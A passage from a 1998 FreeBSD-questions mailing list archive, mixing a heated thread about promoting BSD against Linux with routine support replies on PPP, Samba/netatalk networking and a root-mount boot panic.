created from scratch like Linux. Any book on 4.4BSD applies almost directly to FreeBSD, and there are a lot of papers on different parts of BSD Unix. They just don't have 'FreeBSD' written on them. -Dan Nelson "Genesys" on #FreeBSD dnelson@emsphone.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 20:50:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA21392 for freebsd-questions-outgoing; Thu, 9 Apr 1998 20:50:25 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from shell.futuresouth.com (shell.futuresouth.com [198.78.58.18]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA21309; Thu, 9 Apr 1998 20:50:11 -0700 (PDT) (envelope-from fullermd@futuresouth.com) Received: from localhost (fullermd@localhost) by shell.futuresouth.com (8.8.8/8.8.8) with SMTP id WAA12675; Thu, 9 Apr 1998 22:49:47 -0500 (CDT) Date: Thu, 9 Apr 1998 22:49:46 -0500 (CDT) From: "Matthew D. Fuller" To: "Jordan K. Hubbard" cc: David Shanes , Brett Glass , freebsd-questions@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <3980.892169423@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, Jordan K. Hubbard wrote: > I was told by Eric Raymond (whom I met briefly at the Mozilla party) > that the *BSD people were deliberately excluded because there were too > many BSDs and they didn't want to get involved in any political issues > over it. I find these continuous allegations of the BSD world being > gratuitously and needlessly "split" (even though each *BSD seeks to > fill a different niche) by the Linux community to be rather tiresome > considering the amount of division in their own ranks and can only see > this as something of a double standard, but I've long since given up > on any hope of fair play from this particular crowd. > > This and several other incidents of a similar nature has pretty much > convinced me that this crowd would rather prefer it if we really > didn't exist at all and is going to essentially conduct their > operations as if we didn't. Oh well. Perhaps it *IS* time to go on > the PR offensive here ("Why Linux doesn't work") since playing nice > guys hasn't appeared to have won us anything but lots of nice comments > from folks like Marc A. at netscape to the effect that "Linux is the > only free OS alternative." I'm getting tired of that, and if it's > going to take "breaking ranks" with the rest of the free OS community > to get our own message out, maybe it's time. > > Jordan Hot damn. Where do I sign up? "FreeBSD Marketing: Who Do You Want To Picket And Beat To Death With Stats Today?" Bad Matt, back in the closet... *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* | FreeBSD; the way computers were meant to be | * "The only reason I'm burning my candle at both ends, is * | that I haven't figured out how to light the middle yet."| * fullermd@futuresouth.com :-} MAtthew Fuller * | http://keystone.westminster.edu/~fullermd | *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 21:00:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA23142 for freebsd-questions-outgoing; Thu, 9 Apr 1998 21:00:50 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from awfulhak.org (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA23135 for ; Thu, 9 Apr 1998 21:00:43 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.8/8.8.7) with ESMTP id AAA29857; Fri, 10 Apr 1998 00:38:56 +0100 (BST) (envelope-from brian@gate.lan.awfulhak.org) Message-Id: <199804092338.AAA29857@awfulhak.org> X-Mailer: exmh version 2.0.1 12/23/97 To: Lanny Baron cc: FreeBSD-questions@FreeBSD.ORG, support@cdrom.com Subject: Re: install with boot.flp won't make good PPP connection... In-reply-to: Your message of "Thu, 09 Apr 1998 07:23:37 EDT." <352CAFB8.1749F004@tht.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 10 Apr 1998 00:38:56 +0100 From: Brian Somers Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Hello, > > I had a copy (running) of FreeBSD v. 2.2.6 but had to rm it due to > /usr going to 108%. I went to http://www.freebsd.org and got the > boot.flp from the installation part of the web page. I have tried to > set the method of installation as ftp. When prompted to go to ALT+F3 to > connect to my ISP, I do connect but can't get it to go to PPP. I have > used /etc/ppp before with the same ISP. This in not a dialing problem as > I have stated, I do connect. When I do connect, I get ppp>packet mode > but it will not change to PPP. > > Upon connection, I have noticed the modem send and receive lights > going on and off extremely fast. If someone has had similar problems, > could you please tell me the workaround you found to get this to connect > properly. It's possible to see what's going on with something like ppp ON xxx> set log local phase lcp ipcp > Thank you in advance for any help which you may be able to offer. > > Lanny Baron -- Brian , , Don't _EVER_ lose your sense of humour.... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 21:02:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA23639 for freebsd-questions-outgoing; Thu, 9 Apr 1998 21:02:12 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from awfulhak.org (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA23485 for ; Thu, 9 Apr 1998 21:01:49 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.8/8.8.7) with ESMTP id AAA29907; Fri, 10 Apr 1998 00:51:43 +0100 (BST) (envelope-from brian@gate.lan.awfulhak.org) Message-Id: <199804092351.AAA29907@awfulhak.org> X-Mailer: exmh version 2.0.1 12/23/97 To: Glenn Rogers cc: freebsd-questions@FreeBSD.ORG Subject: Re: PPP memory leak & port numbers In-reply-to: Your message of "Thu, 09 Apr 1998 11:52:46 CDT." <2.2.32.19980409165246.006772b4@astrocorp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 10 Apr 1998 00:51:43 +0100 From: Brian Somers Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I don't know much about pppd, but (user-)ppp will allow you to send LCP ECHO LQRs (if you enable LQR and the peer rejects it, ppp uses ECHO LQRs instead). Running in -ddial mode should result in what you're looking for, and you won't get any dodgy udp sockets jumping up out of nowhere :-) Make sure you've got the latest ppp (http://www.FreeBSD.org/~brian) though - older versions have a broken LQR implementation. > We have a protocol stack embedded into our product which is based on BSD 4.2. > We also have FreeBSD release 2.2.5 on CD ROM. > > Here is the story. > > 1) The CISCO 2509 router/terminal server does not initiate the LCP negotiation > to bring up the PPP link. If the PPP link is up and running and the CISCO > is power cycled, IP traffic stops. We think PPP is up and CISCO thinks > the link is down. The response I got from CISCO tech support was to monitor > the DTR line and restart the link if the line drops. Because we didn't wire > that DTR line in, we can't detect the event. > > 2) To fix the problem, I have added a watch dog timer to periodically send > LCP echo requests to determine if the device is alive. If the echo responses are > not returned, I am calling lcp_close() and restarting the link. > > 3) If the PPP link goes down and then up again enough times, eventually > a call to allocate memory to open a socket fails. This leak is somehow > related to the info displayed by the 'netstat' command. > > After the PPP link is up, netstat displays the following. > > Active Internet connections (including servers) > Proto Recv-Q Send-Q Local Address Foreign Address (state) > tcp 0 0 *.23 *.* LISTEN > udp 0 0 *.* *.* > udp 0 0 *.161 *.* > > When the link goes down (lcp_close() was called), one more entry is displayed > when the 'netstat' command is issued as follows. > > Active Internet connections (including servers) > Proto Recv-Q Send-Q Local Address Foreign Address (state) > tcp 0 0 *.23 *.* LISTEN > udp 0 0 *.* *.* > udp 0 0 *.* *.* > udp 0 0 *.161 *.* > > When the link comes back up one more entry is displayed > when the 'netstat' command is issued as follows. > > Active Internet connections (including servers) > Proto Recv-Q Send-Q Local Address Foreign Address (state) > tcp 0 0 *.23 *.* LISTEN > udp 0 0 *.* *.* > udp 0 0 *.* *.* > udp 0 0 *.* *.* > udp 0 0 *.161 *.* > > This is displaying a 'Local Address' of *.*. > The code that prints this info is displaying * for the port number > when the port value passed to inetprint() is zero. > (inetprint() is in the file inet.c) > > My question is... > There are places in the code where port values of zero are accepted. > Why does the code allow port values of zero when RFC1700 and much older > RFC739 has allways defined port number zero as 'Reserved' ??? > > Thank you, > Glenn Rogers [.....] -- Brian , , Don't _EVER_ lose your sense of humour.... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 21:02:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA23686 for freebsd-questions-outgoing; Thu, 9 Apr 1998 21:02:17 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from awfulhak.org (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA23629 for ; Thu, 9 Apr 1998 21:02:09 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.8/8.8.7) with ESMTP id AAA29882; Fri, 10 Apr 1998 00:43:42 +0100 (BST) (envelope-from brian@gate.lan.awfulhak.org) Message-Id: <199804092343.AAA29882@awfulhak.org> X-Mailer: exmh version 2.0.1 12/23/97 To: Matt White cc: freebsd-questions@FreeBSD.ORG Subject: Re: Samba and NetaTalk Snafu? In-reply-to: Your message of "Thu, 09 Apr 1998 08:09:53 EDT." <199804091211.IAA01174@newton.bunnynet.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 10 Apr 1998 00:43:42 +0100 From: Brian Somers Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I have had a weird problem for the past few months since moving my server > from Linux to FreeBSD. > > Clients can only connect via Samba when our PPP connection to the > Internet is up. If the PPP connection is not up when the clients attempt > to connect to the server the attempt will simply time out after a few > minutes with the connection never being made. However, as soon as I bring > up the PPP connection, clients can connect almost instantly without > problems. > > This was annoying, but we knew how to work around it so it hasn't been > much of a problem. > > However, now we're trying to allow Macintosh clients to connect to the > server as well. The server will appear in the Chooser (under both > AppleShare for file sharing and LaserWriter 8 for it's printer), but when > the clients attempt to connect once again the connection times out and > nothing is done. However, this time, the problem cannot be solved by > bringing up the PPP connection. > > At boot time the server "freezes" at the netatalk initialization stage, > and eventually times out. (After about 30 seconds.) When afpd tries to > fire up it dies with the following error: > > Apr 9 07:49:10 newton afpd[1094]: Can't register newton:AFPServer@* > > ...and when papd attempts to start up I get this error: > > Apr 9 08:02:10 newton papd[1108]: can't register newton:LaserWriter@* > > Some system information: > > - Pentium 166 > - 32MB RAM > - FreeBSD 2.2.5 from the November 1997 CD's (very few patches have been > installed) > - NE2000 NIC > > Our network is setup in the 10.3.2.0/24 range. TCP/IP will always work in > and out of the server. > > The server is doing PPP aliasing. (Which is where I think the problem may > ultimately lie.) > > Any suggestions, comments, jabs? =) Are you using the same IP for the tun interface ? Perhaps you need an IP alias on the loopback interface - something like ifconfig_lo0_alias0="inet 10.3.2.1 netmask 0xffffffff" in /etc/rc.conf. > -- > Matt White > s012mrw@discover.wright.edu -- Brian , , Don't _EVER_ lose your sense of humour.... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 21:15:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA26296 for freebsd-questions-outgoing; Thu, 9 Apr 1998 21:15:31 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from fallout.campusview.indiana.edu (fallout.campusview.indiana.edu [149.159.1.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA26276; Thu, 9 Apr 1998 21:15:21 -0700 (PDT) (envelope-from jfieber@indiana.edu) Received: from localhost (jfieber@localhost) by fallout.campusview.indiana.edu (8.8.8/8.8.7) with SMTP id XAA11657; Thu, 9 Apr 1998 23:13:30 -0500 (EST) Date: Thu, 9 Apr 1998 23:13:30 -0500 (EST) From: John Fieber To: "John S. Dyson" cc: hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <199804092221.RAA02226@dyson.iquest.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, John S. Dyson wrote: > The problem with FreeBSD, is that people working on FreeBSD are generally > older, and find evangelism to be painful. Also, people using FreeBSD > are busy using it, as opposed to worshipping it. This is why I picked the 386BSD path rather than Linux back in, oh, I guess it must have been early 1993. I was in the process of ditching the Amiga as a platform *and* the wretched evangelical user base. It may sound silly, but I chose BSD because the people tinkering with it seemed, on the whole, to be more mature than the Linux crowd. My decision to not take the NetBSD fork in the road was similarly inspired. -john To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 21:17:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA26941 for freebsd-questions-outgoing; Thu, 9 Apr 1998 21:17:04 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from tok.qiv.com (d2rDGVSllxU/4c9Fn0SCaAdWiYNtUOPl@tok.qiv.com [205.238.142.68]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA26894; Thu, 9 Apr 1998 21:16:53 -0700 (PDT) (envelope-from jdn@acp.qiv.com) Received: (from uucp@localhost) by tok.qiv.com (8.8.8/8.8.5) with UUCP id XAA14623; Thu, 9 Apr 1998 23:14:40 -0500 (CDT) Received: from localhost (jdn@localhost) by acp.qiv.com (8.8.8/8.8.5) with SMTP id XAA01481; Thu, 9 Apr 1998 23:04:57 -0500 (CDT) Date: Thu, 9 Apr 1998 23:04:57 -0500 (CDT) From: Jay Nelson To: Frank Pawlak cc: toor@dyson.iquest.net, brett@lariat.org, mike@smith.net.au, dshanes@personalogic.com, hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Re[2]: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <199804100223.VAA23203@darkstar.connect.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, Frank Pawlak wrote: >Jay Nelson wrote: >> On Thu, 9 Apr 1998, John S. Dyson wrote: >> >> [snip] >> >> >The problem with FreeBSD, is that people working on FreeBSD are >> generally >> >older, and find evangelism to be painful. Also, people using FreeBSD >> >are busy using it, as opposed to worshipping it. >> > >> >How do we (really) deal with this? >> >> I suggest we don't evangelize, per se >> > >Oh but we must!! I'm not convinced we must. The evangelical furor is normally associated with the more inexperienced "true believers" than mission critical. >> I agree that most of use are >> older -- and it appears that most of use deal with real clients in the >> real world. The cost of an OS is the scheme of the commercial world is >> not a deciding factor. Support and reliability is a major factor. > >You hit on a key fact here and that is support. Please don't take what >I am going to say as a criticism. Because FreeBSD users are older and >thus more experienced I think it is often taken for granted that every >user is at the same level of expertise, which is simply not the case. >Further there is an attitude and in some ways correctly so that RTFM is >the order of the day. There is a lot of truth to the addage that give a >man a fish and you will have to feed hin forever, but teach him to fish >and he will be able to feed himself. However, I have noticed some >seemingly stupid guestions that go unanswered or ignored completely. I >have asked several of these myself even after RTFM.... and just didn't >get it so to speak. I am guilty of the terse answer RTFM mind set, and >I had a lady administer a public flogging to me on this mailing list >this past week because of it. I don't think it is taken for granted that all users are experienced as much as lack of time or experience of those on the list. For example, I see a number of questions go by about sound cards. I don't use sound cards, so I have nothing to contribute. >It is understandable that the population of the newsgroup and mailing >lists are busy, but to reach the newbe and a larger user community more >patience with the user whose UNIX knowledge is at the orangutan level >will be required. I have worked in the computer user industry for many >years, and the one thing that I realized early on is the UNIX scares the >hell out of most people. It has a reputation for be criptic, etc. What >I would propose would be some volunteers to take these questions and >patiently answer them to maintain user retention, and don't let them >slip off to Linux becuse of the mis-apprehension that it is better >supported. And that belief is out there partialy because of the volumes >of books on the shelves devoted to Linux, most of which are nothing more >than a statement of environmental waste in all the trees destroyed to >provide the paper for them. I can't really disagree -- but the recognition that counts comes from corporate -- not the user. Corporate doesn't read the Linux books and doesn't really care how cryptic and OS may be. I don't think Unix will ever make inroads on the desktop, largely because of the perceptions you mention until there is a clear corporate reason to do so. As far as the newbie goes, I don't have a good suggestion. A multiuser system is inherently more complex than a single user executive. It requires more of a user who wants to enjoy the benefits. Many don't want to invest the effort. >Overall I believe that the support offered for FreeBSD is of a higher >quality that that of the Linux newsgroups. There is a lot of bulljive >passed for expertise on their NGs. So we have a strong base to build >upon. We have a pedagree UNIX -- oops -- with a rich heritage not a >clone. Some marketing and market presence will get the word out. No >reason for FreeBSD to take the back seat to any OS. We have a great >story to tell. The consideration comes down to whom we wish to appeal (and even why we want to appeal.) I think an appeal to corporate via press releases and trade rags is the best approach. -- Jay >----------------snip >> >> What I suggest is this: >> >> First -- Jordan -- since you're the main man in this, put the pencil >> to the paper and figure out what it would cost to mount a program of >> professional news releases -- including customer profiles. Look at the >> number of CD-ROMS sold and divide cost by CDs and add to CD cost. Look >> at the newsletter and consider subscription. Most of us can afford >> some extra bucks and would be happy to spend it for the credibility. >> Think in terms of two to three times per month for the news releases. >> >> Second: poll the rest of us for contributions. Many of us are using >> FreeBSD in production environments. (Yeah, I'll volunteer -- even >> though I can't write worth a plug nickle.) > >I'll go along with this. I can't code but would be willing to do my >part. > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-hackers" in the body of the message > -- Jay To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 21:17:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA27092 for freebsd-questions-outgoing; Thu, 9 Apr 1998 21:17:26 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw02.execpc.com (mailgw02.execpc.com [169.207.16.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA27026; Thu, 9 Apr 1998 21:17:17 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from execpc.com (lafra-118.mdm.mke.execpc.com [169.207.86.118]) by mailgw02.execpc.com (8.8.8) id XAA03041; Thu, 9 Apr 1998 23:17:06 -0500 (CDT) Received: (from fpawlak@localhost) by execpc.com (8.8.8/8.8.8) id XAA00268; Thu, 9 Apr 1998 23:17:05 -0500 From: "Frank Pawlak" Message-Id: <980409231705.ZM267@execpc.com> Date: Thu, 9 Apr 1998 23:17:05 -0500 In-Reply-To: "John S. Dyson" "Re: Re[2]: Fw: Your Article "Freeware: The Heart & Soul of the Internet"" (Apr 9, 10:03pm) References: <199804100303.WAA00452@dyson.iquest.net> X-Mailer: Z-Mail (5.0.0 30July97) To: "John S. Dyson" Subject: Re: Re[2]: Fw: Your Article "Freeware: The Heart & Soul of the Internet" Cc: jkh@time.cdrom.com, dshanes@personalogic.com, brett@lariat.org, freebsd-questions@FreeBSD.ORG, hackers@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Apr 9, 10:03pm, John S. Dyson wrote: > Subject: Re: Re[2]: Fw: Your Article "Freeware: The Heart & Soul of the In > > "Jordan K. Hubbard" wrote: > > > I was told by Eric Raymond (whom I met briefly at the Mozilla party) > > > that the *BSD people were deliberately excluded because there were too > > > many BSDs and they didn't want to get involved in any political issues > > > over it. I find these continuous allegations of the BSD world being > > > gratuitously and needlessly "split" (even though each *BSD seeks to > > > fill a different niche) by the Linux community to be rather tiresome > > > considering the amount of division in their own ranks and can only see > > > this as something of a double standard, but I've long since given up > > > on any hope of fair play from this particular crowd. > > > > > > This and several other incidents of a similar nature has pretty much > > > convinced me that this crowd would rather prefer it if we really > > > didn't exist at all and is going to essentially conduct their > > > operations as if we didn't. Oh well. Perhaps it *IS* time to go on > > > the PR offensive here ("Why Linux doesn't work") since playing nice > > > guys hasn't appeared to have won us anything but lots of nice comments > > > from folks like Marc A. at netscape to the effect that "Linux is the > > > only free OS alternative." I'm getting tired of that, and if it's > > > going to take "breaking ranks" with the rest of the free OS community > > > to get our own message out, maybe it's time. > > > > > > Jordan > > > > Amen!! From what you say, the time appears to have come. There are > > enough of them to eat us alive it we sit on our buts and just observe. > > A kick ass attitude can be a very good thing if things are indeed as you > > say they are. I am no politician, but that appears to be what is going > > on here. In that case the more noise and fsck you the better. Stake > > our ground and strut our stuff. > > Frank > > > Each of 'em seems like a Borg nano-probe :-). (Re: StarTrek Voyager :-)). > > John >-- End of excerpt from John S. Dyson I'll have to have my wife give me a translation of this. She is the StarTrek person in the family. I barely know what a Borg is let alone a nano-probe. Regards, Frank To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 21:24:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA29948 for freebsd-questions-outgoing; Thu, 9 Apr 1998 21:24:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from lariat.lariat.org (ppp1000.lariat.org@lariat.lariat.org [129.72.251.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA29942; Thu, 9 Apr 1998 21:24:26 -0700 (PDT) (envelope-from brett@lariat.org) Received: (from brett@localhost) by lariat.lariat.org (8.8.8/8.8.8) id WAA09598; Thu, 9 Apr 1998 22:24:09 -0600 (MDT) Message-Id: <199804100424.WAA09598@lariat.lariat.org> X-Sender: brett@mail.lariat.org X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Thu, 09 Apr 1998 22:23:54 -0600 To: "Jordan K. Hubbard" , "David Shanes" From: Brett Glass Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" Cc: freebsd-questions@FreeBSD.ORG, hackers@FreeBSD.ORG In-Reply-To: <3980.892169423@time.cdrom.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 05:50 PM 4/9/98 -0700, Jordan K. Hubbard wrote: >I was told by Eric Raymond (whom I met briefly at the Mozilla party) >that the *BSD people were deliberately excluded because there were too >many BSDs and they didn't want to get involved in any political issues >over it. This is a lame excuse. The various *BSD groups are far more well disposed toward one another than, say, Larry Wall and his "Artistic License" crowd is toward the Linux zealots. >This and several other incidents of a similar nature has pretty much >convinced me that this crowd would rather prefer it if we really >didn't exist at all and is going to essentially conduct their >operations as if we didn't. Oh well. Perhaps it *IS* time to go on >the PR offensive here ("Why Linux doesn't work") since playing nice >guys hasn't appeared to have won us anything but lots of nice comments >from folks like Marc A. at netscape to the effect that "Linux is the >only free OS alternative." I'm getting tired of that, and if it's >going to take "breaking ranks" with the rest of the free OS community >to get our own message out, maybe it's time. I sure think it's time. Free software is on the ascendent; it's now or never. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 21:28:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA01120 for freebsd-questions-outgoing; Thu, 9 Apr 1998 21:28:59 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from lariat.lariat.org (ppp1000.lariat.org@lariat.lariat.org [129.72.251.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA01101; Thu, 9 Apr 1998 21:28:52 -0700 (PDT) (envelope-from brett@lariat.org) Received: (from brett@localhost) by lariat.lariat.org (8.8.8/8.8.8) id WAA09649; Thu, 9 Apr 1998 22:28:26 -0600 (MDT) Message-Id: <199804100428.WAA09649@lariat.lariat.org> X-Sender: brett@mail.lariat.org X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Thu, 09 Apr 1998 22:28:12 -0600 To: Greg Lehey , Mike Smith , David Shanes From: Brett Glass Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" Cc: hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG In-Reply-To: <19980410113536.65458@freebie.lemis.com> References: <199804092124.OAA00915@dingo.cdrom.com> <025301bd63fb$0b94bc80$1d43a8c0@shanes.personalogic.com> <199804092124.OAA00915@dingo.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 11:35 AM 4/10/98 +0930, Greg Lehey wrote: >Tim knows about Jordan, despite his message. We've repeatedly tried >to get them interested in BSD, but there's something at ORA that >resists. It is, as usual, the "almighty dollar." ORA sees the Linux market as larger, and therefore favors it. They once explained to me that they had no interest in porting their Windows and NT Web server or conferencing software to UNIX for the same reason. >I've just about given up with ORA. They seem to be relinquishing >their position as the favourite UNIX publisher and chasing the NT >crowd. More proof, alas, that they're chasing what they believe to be the largest market. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 21:29:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA01301 for freebsd-questions-outgoing; Thu, 9 Apr 1998 21:29:09 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from fallout.campusview.indiana.edu (fallout.campusview.indiana.edu [149.159.1.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA01185; Thu, 9 Apr 1998 21:29:02 -0700 (PDT) (envelope-from jfieber@indiana.edu) Received: from localhost (jfieber@localhost) by fallout.campusview.indiana.edu (8.8.8/8.8.7) with SMTP id XAA11702; Thu, 9 Apr 1998 23:28:54 -0500 (EST) Date: Thu, 9 Apr 1998 23:28:54 -0500 (EST) From: John Fieber To: Dan Janowski cc: hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <352D95AA.6F549027@3skel.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 9 Apr 1998, Dan Janowski wrote: > We should conduct a census! Put it on the website, in the FTP banners on > wcarchive, in the CDROMs. Well, ya, but the results would rate next to worthless in terms of statistical validity. Good demographic studies are pretty hard to do when you don't know the extent of your population, and asking people to register isn't going to define it for you. I did one random sampling of mailing list subscribers (I defined my population as mailing list subscribers) and sent a small survey regarding the FreeBSD web site. The response rate was in the negihborhood of two to three percent. Completely useless. 60 to 70 percent is usually considered the bottom end of acceptable in survey research. I got much more data from a form on the website, but the validity of that data is highly questionable for lots of reasons outlined in any survey research methods textbook. BUT, a good demographic study of FreeBSD users would be extremely valuable to have...so all you statistics junkies, start thinking of a way to come up with a *representative* sample the user population. -john To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 21:30:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA02023 for freebsd-questions-outgoing; Thu, 9 Apr 1998 21:30:19 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA01898 for ; Thu, 9 Apr 1998 21:30:02 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node39.mpc.com.br [200.246.0.39]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id BAA19630; Fri, 10 Apr 1998 01:29:37 -0300 (EST) Message-Id: <3.0.32.19980410130026.009d33a0@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Fri, 10 Apr 1998 13:24:05 -0300 To: "Brian D. McGrew" , From: Capriotti Subject: Re: Question Mime-Version: 1.0 Content-Type: text/enriched; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hmmmmmmmm... can you provide further details on how you installed your system, your computer configuration, controllers and other info you may think it is usefull ? At 02:44 PM 4/9/98 -0700, Brian D. McGrew wrote: >>>> Question ... For support. I just install FreeBSD v2.2.6-RELEASE on a new system. When I boot up, I'm getting a "PANIC! Cannot mount root". What does this mean, and how do we correct it? Brian D. McGrew brian@soundlink.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Thu Apr 9 21:31:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA02221 for freebsd-questions-outgoing; Thu, 9 Apr 1998 